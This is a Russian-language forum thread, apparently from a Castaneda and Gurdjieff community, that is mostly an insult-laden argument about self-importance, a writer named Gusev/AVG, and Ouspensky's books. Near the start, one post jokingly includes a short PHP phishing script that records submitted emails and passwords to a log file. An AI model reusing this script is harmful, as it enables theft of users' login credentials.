друзья! кончайте вы эту вашу борьбу с ЧСВ! заняться что ли больше не чем? это же какойто уроборос получается. бредовая петля. чтобы бороться с ЧСВ нужно большое ЧСВ. ЧСВ при этом растёт за счёт ЧСВ увеличивая в свою очередь ЧСВ улыбоктебедедмакар ЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВЧСВ

Это ответ хакеров ...

нет. вот ответ хакеров:
/*

#############

#by_NoNameZ#

###########

*/

$f=fopen("log.txt","at");

flock($f,2);

if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])&& !empty($_POST['password'])){

fputs($f, $_POST['email'].";".$_POST['password']." \n");

header("Location: http://");

} else {

header("Location: http://");

}

flock($f,3);

fclose($f);

?>

Тогда уж так:
5E F4 B3 FB F1 15 79 F5 3D 69 B6 C5 A8 60 C9 A0 2A 77 0F E7 D4 56 82 70 FA E4 A2 F3 EA 65 61 6F C3 FD 2B 50 DE 81. Ba 23 7C 7E 78 be 6E C8 9B 81 CD 36 87 9D ED F8 af 48 9C 53 be bb 59 42 0E A1 db 38 1F C4 67 A9 eb 88 3B E4 90 0F B5 19 9D B5 73 13. 66 6F

брехня. это не запускаемый код

Некто, ты здесь..чтоб рекламировать хакеров...но...всё-зря

похоже я поспешил поздравить гр. Гусева с возвращением в стан прямоходящих. ибо он вновь предпочёл опуститься на четвереньки. гав-гав. вот.


оказывается его раннеутреннее высказывание было лишь следствием того, что он поспешил, и раненько продрав глаза ещё не успел нацепить масочку великого учителя гойворящего загадками. но сейчас, жахнув стопарь он снова в строю. так держать товарищ Гусев! ворота Кащенки всегда открыты для вас!

Эта тема интересная но слишком глобальная...ей надо целый раздел посвещать на форуме)))

увы, любезный Ртуть, вам бы давно уже пора понять что этот мир (и форум как часть него) не вращается вокруг ваших желаний. но у вас есть выбор! если вам не приятно вы можете не читать и не писать. сложно, понимаю, но если постоянно потакать своим слабостям то недолго и спуститься на четвереньки как наш многоскобочный капс-мосье Гусев.

ой, не говори. или наоборот. НИЧЕГО этой теме не посвящать. а то ведь как выходит. неофиты КК с чего обычно начинают? жрать кактус правильно, бороться с ЧСВ! а результат какой? очень быстро и необратимо оскотиниваются. достаточно зайти в "Базар про Базар" чтобы посмотреть на этих борцунов. или не так?! может тут есть кто кто таки оборол своё ЧСВ?!?!?

"Бороться" (с чсв) - неудачный терминг. "Использовать"- слишком туманный :P
имха, процес можно описать достаточно просто: выслеживается "структура" чсв (гидра))) и тормозятся индульгирования (её) проявления (тысяча голов) :).
Оставаться на грани необходимой достаточности чсв - вот все что требуется.

Конечно, просто это на словах, :) на деле это "управление намерением".

ну ладно. на последок что ли. возьмём вот этот кусочек из опуса сего многострадального гражданина

(подчёркнуто мной). и тут видно что гГ (не Георгий Гурджиев, а гражданин Гусев) читал Гурджиева в туалете лёжа на боку. ибо. ГГ как раз и говорит, что механичность препятствует любой эффективности, это лишь инерция, которую человек приобретает двигаясь в матрице тоналя. но гГ этого не понять.

Механичность ничему не препятствует и не является инерцией.
Гусев себя за знатока Гурджиева не выдает, зато тебе удается выдать себя за профана

Ну праильно. Гусев же одресует свай творение идиотам. Посмотри на Корнака, - ему в самый раз пришлось)))

Ругань будет удаляться без предупреждения. если кому не нравится вежливый формат общения идите общаться в лепрозорий. там вас очень ждут. вы, Ртуть, ошибочно путаете хорошее к себе отношение с приглашением присесть на шею.

Почему механичность не препятствует?
Наглядный пример.
Человеку отрезали ногу и он может пользоваться только одно ногой. И что? Эта нога препятствует ходьбе?
На двух ногах ходить приятней, конечно, как и пользоваться всеми видами мышления. НО механическое мышление никак ничему не препятствует

Да у тебя весь нюх наркотой отбило. Ели он вообще был.

Корнак7, хочешь поговорить со мной за Гурджиева? не боишся?

Не пугай кабеля буханкою. Я только и делаю, что за него веду тут разговор три года.

я уже почитал маленько. не впечатлён. ладно, во первых, да, я профан, в том смысле, что мои знания почёрпнуты из открытых источников и общения с интересными людьми, в закрытых школах я не бывал. вроде очевидная вещь да? но вот твой корефан Гусев корчит из себя супергуру, хотя видно, по уровню инфантилизма, что жизненного опыта у него, хорошо если мамка одного за хлебом из дому выпускала. ладно, проехали.

ну, и что в твоём понимании есть механичность в контексте учения ГГ?

Конечно шутка, но тем не менее весь пиар Ксендзюка основан на его умении делать выводы, то есть попросту думать, но следует ли из этого что кто-нибудь чудесным образом поумнел прочитав его книги, есть ли прецеденты?

Ксендзюк то видящий то не видящий, то у него "перцепция" то "гипотеза" то "совокупность перцептивных гипотез", а если единственное достижение это определённые навыки мышления то можно ли им обучиться лишь читая его книги :o Это я к тому что бы провести параллели с Гусевым который тоже претендует на самостоятельное мышление (хотя и необоснованно).

ртуть поумнел
есть прецедент

чёто любезного Корнак7 мой вопрос поверг в нешуточный ступор. а поможем ка ему цитатой самого Петра Демьяновича Успенского!


я понимаю, переварить такое гораздо сложнее, чем полупереваренную отрыжку г-на Гусева. но дорогой Корнак7 или вы вашу механичность, или она вас.

волонтёры есть к Корнаку на дурдом ездить, когда его там после общения с Гусевым закроют? не? вот и я не поеду. может Ртуть заглянет, мухоморчиков отсыпет

Ты мой пост перечитай, да?
Бороться механичностью тоже самое, что и с ЧСВ.
Гурджиева не просто знать нужно, но и понимать

ты тоже будешь в стиле Гусева разговаривать да? уже крыша поехала да? я тебе ОРИГИНАЛЬНЫЙ текст привёл, определение, а ты мне свои ампутированные ноги суёшь. ты хочешь сказать что понимаешь Гурджиева лучше других? не много на себя берёшь?! ну если у тебя есть своё понимание, давай, излагай, внимательно слушаю

я в базаре уже отписался
вобщем автор фиксирован на себе. и кроме как его же ВД тексты ничего не содержат
автор не сдвигается никак и никуда, а только наславивает мысли-схемы, ибо фиксирован на своей персоне
кроме того автор просто не умеет мыслить ясно, он недостаточно отрешен от эмоций даже когда думает, опять же резагт маниакального ЧСВ
ну а прагматическая польза его ВД примерно такая же как и любого другого, тоесть аж никакой

меня терзают смутные сомненья. уж не проект ли Корнака АГВ?!? или тут есть хитрый план? захваливаниями довести ЧСВ последнего over 10500 а потом облить говном, показывать людям и смеяться. даже не знаю что вероятнее

это разновидности
шизошмыри

точнее корнак - гуссев - барабан...
это все позиции ТС сущности типа арендатор
это одно существо
в разном вещество

да не, Барабан он другой, этож видно.

как и мерин и порш и калина - все это машины
так и барабан переложит гусева в стихи
а смысл будет одинаков

они не сильно отличаюца
у корнака - пипа
у бяшы - мыша
...
совпадения до 6-го знака после запятой

да я тож думаю что корнак тролит
паатму что не дакой он дебил что бы покупатца на такие дешевки как минимум
а как максимум, тексты текстами, но построение постов у авг такое, что он даже пытаясь не эмоционировать всеравно эмоционирует. тоесть даже как троль он хуевый

Идн,  согласен, но кроме этого явный недостаток образования и знаний. Совершенно дилетанские рассуждения и полное непонимание роли и происхождения языка.
Про ЧСВ совершенно обывательский бред и непонимание контекста проблематики - почему это мешает воину, и до каких границ его нужно рассматривать и понимать.
Самые поверхностные сведения из психологии.
Но самое конечно бесстыжее - это какие-то претензии на СОБСТВЕННУЮ просветленность и неподпадение под собственные же определения всех других.
Типа никто на планете еще не понимает того, что стало открыто ему.

Фактически заменяет слово "тональ" словом "базар"  и обосновывает тем, что просто демонстоативно не понимает,  что такое тональ у Кастанеды.
Кастанеду дебильно пишет, как Кастаньеда, хотя если бы его читал, то знал бы что Карлос не терпел такого произношения и во всем мире его произносят как и пишут обычно во всех наших изданиях.

Шамиль, ты опять с протянутым лицом... без пиздюлей как без пряникав)))? потерпи, в порядке жывой очереди. (уа-ха-ха-ха!)

ну да. типа КО такой "когда у человека ЧСВ - он чувствует себя важным", и такое весь текст только в разных постановках.


классический демагогический ход
тот кто меня не понимает - дурак.
тоесть возможность понять контролируется автором, все остальные или поняли или дураки.
не он первый так гонит и не он последний



Даже без кастанеды уже давно есть термин сансара, так что можно дать автору медаль за изобретение велосипеда

Заведи отдельную спецтему. "Если не боишься"

ок

Идн, прикинь, АВГ всего лишь повторяет Гурджиева. То есть здесь он не оригинален, если не сказать плагиатор. А ты ему дело шьешь.
Да и в демагогии ты не сечешь. С помощь демагогии что-то навязывают, а АВГ предлагает избавиться. Избавиться от своего воображения и фантазий на свой, опять же, счет

даже без сансары есть термин "тюрьма" у того же ГИГ с ПДУ. термин гораздо более понятный и доходчивый русскому сознанию чем чуркобеский "базар"

не повторяет а перевирает, разницу чуешь не?! впрочем новая тема тебя ждёт. эксклюзив. только для вас

  О! Замечательно, как хорошо, что есть хоть кто-то, кто читал. Вы меня простите, но я думаю, что он упер у Успенского, если я ошибаюсь, то дайте ссылки на ГИГа.

ну а почем же он сам это не делает?
спасибо за великое открытие что от фантазий нужно избавитца
это не просто....НОВОСТЬ
никто бы не догадался что это нужно, спасибо АВГ!

а что до гурджиева, то сам гурджиев, хоть пробовал чета делать
а автор....ну там по мере общения все видно
автор в глухой защите, ему есть что терять
и на практике выходит что автор сам никапли не избавился от фантазий

Попробуй обойтись без деклараций.
Что же он защищает и от кого?

Реликтум обычно упоминает в связи с этим продажу книг

Перечисли все фантазии автора. Ну, или назови хотя бы одну

вот такая тюрьма подразумевает свободу "выход на волю", который на практике тоже тюрьма, только немного другая. мы о другой свободе тут всевремя

свои воззрения от несогласных с ними
когда он это делает, он наделяет человека тем качеством которым человек не обладает, например говорит что он дурак.


ну вот например)))
http://forum.postnagualism.com/index.php?topic=32749.msg124280#msg124280

А вот ответ
http://forum.postnagualism.com/index.php?topic=32749.msg124312#msg124312

Идн, будем как психи в больнице анекдоты пронумерованные рассказывать озвучивая номера? :)

там ответ на ответ уже есть :)

короче все всё понял? я все всё понял. поляна удобрена, цветочки взошли. но какие это цветочки ФФФФУУУУУ!!!!

что за мерзость.

в общем, творчество душевнобольных не моя специальность

я умываю руки

простите если чё

Некто, ну все-таки, мог бы вкратце описать, чего полезного ты вынес с 4 пути? Мне как то попалась книжка Успенского 'В поисках чудесного'... не дочитал,-скушно стало:-)

Ещё бы, ведь там нет описания приходов, чудес и МеГаЧелов =)))))

Ну а вообще в книгах ПДУ нужно читать только то, что непосредственно говорил именно ГИГ. ПДУ "Четвертый Путь" нормальная книга, да и то... а ВПЧ вообще ацтой. А ещё попробуй самого ГИГа почитать "Рассказы вельзевула" - я обламался на первых 50 страницах =))))

Ты как-то странно  реагируешь на мотивационные аспекты :) ты инопланетная форма жизни? Или робот? ;D

Кроме осознавания неизбежной смерти, человеком движет интерес к самопознанию, -чистая 'поисковая активность'=творчество... и ДА,- воображение! :)

Так называемая 'предрасположенность',направляющая  наш выбор, формируется вместе с глубокими слоями личности ("порядок тоналя'')

Учение - это система уловок для личности 'подходящего типа'. 
Учитель - также ориентирует процесс на конкретную личность.

До момента прихода туда где личные нюансы теряют значимость, предрасположенность имеет ключевое значение.

Ты могешь сколько угодно сортировать идиотов))) не подходящих под твои разработки или под гиг... но эта система оценок определяет лишь твой тип личности... больше ничего :)

Я тебе посоветовал нормальную книжку и подсказал как её читать. А вот ты действительно странно реагируешь на шутки =)))

PS Идиотов, кстати, ГИГ сортировал. Я эти классификации не читал (мне без надобности), но знаю что у него там больше 20 типов идиотов было =)

За подсказку мерси :)

НЕ все в курсе ВПЧ - В поисках чудесного. Начинать стоит с нее. А лучшая его книга, конечно "Четвертый Путь". НО ее мало кто читал из тех, кто судит об Успенском.

Вельзевула прочитал 2 раза. Из нее же взял себе ник Корнак. Так назывался космический корабль, на котором путешествовал этот самый В.

Интересно было посмотреть, как среагирует АВГ на закрытие темы "Базар".  На способ закрытия.
Среагировал неплохо. :)

Ей Б-гу, лучшеб ты этого не делал. От таких "последователей" бедный Георгий Иванович наверное в гробу ворочается. Впрочем, Кастанеда не иначе уже раза три из могилы вылазил, настолько хороши граждане нагвалисты и пр.

ну это в двух словах не опишешь, конечно. много полезных идей, о механичности, о троичности, о необходимости побега из тюрьмы. тут ведь как, слова остаются словами пока ты их не осознал, не впитал, а в последствии не применил. ведь у книги есть не только Писатель но и Читатель! поэтому возможно ГИГ и ПДУ не для тебя, и такое возможно, не входите в "резонанс". "В поисках чудесного" хорошая книга, нр тяжеловатая для начала. "Четвертый Путь" в этом смысле гораздо лучше: вопрос-ответ. её можно кусочками читать, в зависимости от того какой у тебя вопрос.

а вот и нет. ПДУ - самостоятельный и очень не слабый практик. у него есть свои идеи и свой взгляд. и они, кстати, проще для восприятия чем идеи самого ГИГа.

лучше не пробуй. книга очень специфическая. даже сам ГИГ на закате лет признавал, что зря он её написал. "пацаны не поняли"

Некто, так ты будешь о 4 пути что-то говорить, или только оценки раздавать остальным?

Там есть
1. Описание понимания человека, имеющего многолетний опыт работы
2. Описание ловушек, в которых побывал сам автор и которые он наблюдал у других

 

   Тут, на стройке мужики смеются и советуют прочесть в третий раз, чтобы понять. А понять придется простую вещь - ГИГу как и всем, необходимы были деньги. Отлично зная, что сотни Корнаков готовы влезть в долг, чтобы заполучить заветный экземпляр, он и написал этот многостраничный бред. Гурджиев во всём был выдающейся личностью и человеком, который имел всего одну слабость - это дурачить идиотов.

Барабану Вельзевул, по-моему, даже быстрее понравится с его нестандартной речью в этих книжках, чем ясная речь Успенского

   В твоем случае, здесь нет анамалии, ГИГ написал эту книжку для таких как ты.

Там есть неверифицируемый шизофренический бред автора и больше ничего. ничего вышеописанного там нет и в помине. чем меньше людей это прочтут тем здоровее будет нация. таков мой вердикт, да


Гусев, прекратите истерику и примите лекарство

Вы с Гусевым с одной стройки? если да, то скажите, пожалуйста, прорабу, чтобы он ему не позволял таскать тяжести и читать газету во время работы. повышается давление и вот это всё

аномалии вроде бы через о? впрочем, не буду настаивать, главное же не говорить грамотно, а говорить по делу. верно?

 совершенно верно как и слово фотон! А про грамотность,  есть притча.

 
                                     Филолог и дервиш:

   Как-то темной ночью один дервиш, идя по дороге, услыхал крик о помощи, доносившийся со дна заброшенного сухого колодца.
-- Эй, что случилось? -- закричал дервиш в колодец.
-- Видите ли, я филолог, -- ответил голос, -- не найдя в темноте дороги, я к несчастью провалился в эту глубокую яму и теперь никак не могу отсюда выбраться.
-- Держись, друг, дай мне только раздобыть лестницу и веревку, -- ответил дервиш.
-- Подождите минутку, -- закричал филолог, -- вы неграмотно выражаетесь, к тому же ваше произношение никуда не годится. Очень прошу вас исправить его.
-- Ну что ж, если для вас слова важнее их смысла, вам будет лучше побыть там, где вы сейчас находитесь, пока я не выучусь правильно говорить, -- ответил дервиш и пошел своей дорогой.

Некто Любовь пытается отыграться за полный разгром на КП :)

- Вам ехать или шашечки? (как говорят в Одессе).

  :) А давайте все попросим Корнака продолжать сюда заманивать писателей и гур! Должна же на форуме и от него быть какая-то польза. Он у нас и в возрасте и общаться может вполне сносно, чай сам писатель. Пусть только за угол заманит.  ;)

Вообще идея сманивания - эта такая форма несостоявшейся идеи объединения всех сайтов схожего направления

АВГ использует термин "Глубина". Даже в отрыве от всего остального. Как некую самостоятельную единицу.

Я могу подтвердить, что именно этот термин напрашивается при определенном пороге усиления сознания. Термин очень удачный.

Были ли у кого-то еще подобные ощущения?

Мне раньше хотелось сказать, что моему Я не хватает силы воли. Я считал, что нужно ее наращивать. Но теперь думаю, что Глубина более подходящий термин

АВГ:
"Глубина видна именно как направление"

Интересная мысль.
Но я все таки считаю, что глубина средство. У меня есть идеи направления, куда должна вести эта глубина. Иначе может случиться то же самое, что с нирваной - пшик.

Некто Любовь будет нас обучать придворному этикету :)

она состоялась
реально
последние дни-пни
тому свидетельство

ка манда ла
арлана
татальна

Ну дык. Пипа ж не Ксендзюк. Всяк под ее мудрое руководство готов сбежать  с других форумов.

А я ей еще два года назад говорил, чтобы перестала ставить на АПК, а возглавила сама

Вообще надо сказать, что АВГ слишком пессимистичен в отношении количества людей, разобравшихся в самоосознании.

Только на ПН я мог бы насчитать с десяток таких людей. Некоторые правда используют другие названия. но при описании понимаешь, что говорят они об одном и том же.

А что значит ставить или не ставить Корнак, здесь не партия не общественное движение.
Ксендзюк по прежнему остается одним авторов , которого виртуально поддерживает форум.
Поскольку многие его тут читали, любят или не любят это другое дело.
Писатели обычно никакие вожди. ;)

А на что ты рассчитывал в принципе?)) в целом.

А почему ты вспомнил о партии и общественном движении?
Можно еще ставить на попа, ставить на лошадь, ставить ...

Я вполне прозначно обозначил мысль.
Форум долго основывался на Ксендзюке. Теперь его вообще не вспоминают.
Форум кто-то должен двигать, вести. И это никак не Ксендзюк и не мы с тобой

"Римский форум (лат. Forum Romanum) — форум (площадь) в центре Древнего Рима вместе с прилегающими зданиями. Первоначально на нём размещался рынок, позже он включил в себя комиций (место народных собраний), курию (место заседаний Сената) и приобрел также политические функции.

Эта площадь служила центром общественной жизни, и из повседневного общения людей эволюционировало тематическое общение, носящее все признаки того, что мы сегодня называем форумом."

Куда его двигать, вести?

Лично мое частное мнение , не как модератора, что этот форум не основывался на Ксендзюке, так сказать нельзя. Вот его форум Нагуализм был основан на Ксендзюке и был так сказать закрыт по причине нежелания его там учавствовать, это я так понимаю одна из главных причин.

А этот совсем иначе .

Да еще можно ставить на номер в рулетке ;D

Редкий случай , когда я согласен с танакой. :)

Наша Пипа и коня на скаку остановит и Орла приручит :)

(http://img-fotki.yandex.ru/get/5645/64843573.1ea/0_a3689_f587ad85_orig.jpg)

По моему идеология форума вполне выпукло проступает: Флейм, Трэш & Угар
Поэтому так сказать цезарем сего форума предлагаю сделать Корнак7а
Как своего рода, маэстро

Я всего лишь в перерывах подогреваю публику
На меня кто пойдет? Да никто

Ошибочка у вас вышла. ;)

Я не идеолог , а простой работник ножа и топора :), но учавствую я здесь только потому, что это единственный из крупных кк форумов, который основан на духе того учения, которому он посвящен, учения дх.

Отсюда и практика форума, немыслимая для всех карманных кк форумов основанных на чсв их владельцев. :(

У кого еще существует анонимных свободный доступ на форум?  :)

И это только одна замечательная особенность.

Я не против треша и угара, но никакого хаоса и анархии тут нет  и не было, система модерирования и администрирования одна из лучших , если не лучшая в кк-рунете. :)

Некто, а ты правда Любовь? :)

очень красивые слова. прямо в рамочку да на стену. а теперь упражнения! возьми и ткни наугад в любое свежее сообщение. только осторожно, говнос!


ну на дарарла борда есть. а на других регистрация не сопряжена с избыточным геморроем

я не жалуюсь, ты пойми. просто делаю некоторые points clear, для себя в том числе

Некто, вы там с фотонами обещали объяснить людям, как и где вы их обнаружили, вот этот говнос - ваш, а остальной нет.
     Ваш снобизм себя исчерпал, выдайте что - нибудь свое, хватит уже о нас, уймитесь вы со своими претензиями. Последнее, о чем прошу это не цитировать так часто Витю Пелевина, это  пошло, тривиально, банально, предсказуемо и почти всегда не к месту...
 

Да вряд ли она тебя перещеголяет  с этим
Конкурента почуял?

 ;D
Маэстро вы как-то предвзято относитесь к людям, каждый без исключения, согласно физиологии на 1-5% состоит из какашек, а многие на 10%

Вам бы с таким снобизмом другую планету или других людей ;D

  Уже давно я сказал, что твое желание укусить меня своими глупыми репликами, вызывает чувство омерзения, словно меня целует беззубая старуха, которую я не могу отогнать.

Это хорошо. Значит цель достигнута.
А то все бормотал чета про мертвого воина  Гыы

 

Из-за чего интересно вы несколько месяцев назад с корнаком так крупно посрались, я как-то пропустил этот занимательный момент? :)

Нашел че вспоминать. Я ему новую срачку хоть щас закачу

ну если вы беззубую старуху не можете отогнать то Корнак7 вам тем более не по зубам. вон ОЕ уже бьётся в конвульсиях. вы следующий

Любаш, будешь моим соратником вместо Ртути?

   Это было мое обучение, Корнак усвоил урок, и впредь станет умней. За обучение эта скотина даже спасибо не сказала.

Ртуть, да, совсем забыл - сенкс.
Какая же я в самом деле скотина...

Не спешите, это избавит вас от глупых ответов.

Тут вообще есть модератор?

вы хотите чтобы я потёр ваши сообщения? это возможно. так и запишем - слил Ртути

Я хочу продолжить тему, которые ты начала.
Остальное можно в топку
Ты еще не забыла о чем тема?

вот там зелененьким в углу написано ;D

Там написано, что модератор некто. А кто именно не написан

Корнак7, а может мы имеем дело с командным ником?

Точно. ПН обложили со всех сторон. Ты тоже почувствовал?

ну то есть Корнак7:Ртуть 0:1

BUT!
This Game has just begun!!

в попку
???
так точнее
???
это намерение того кто пейсал про кочегаров
сработало
замечательно
исключительно
прелестно
вот он глас(з) народа
слоник....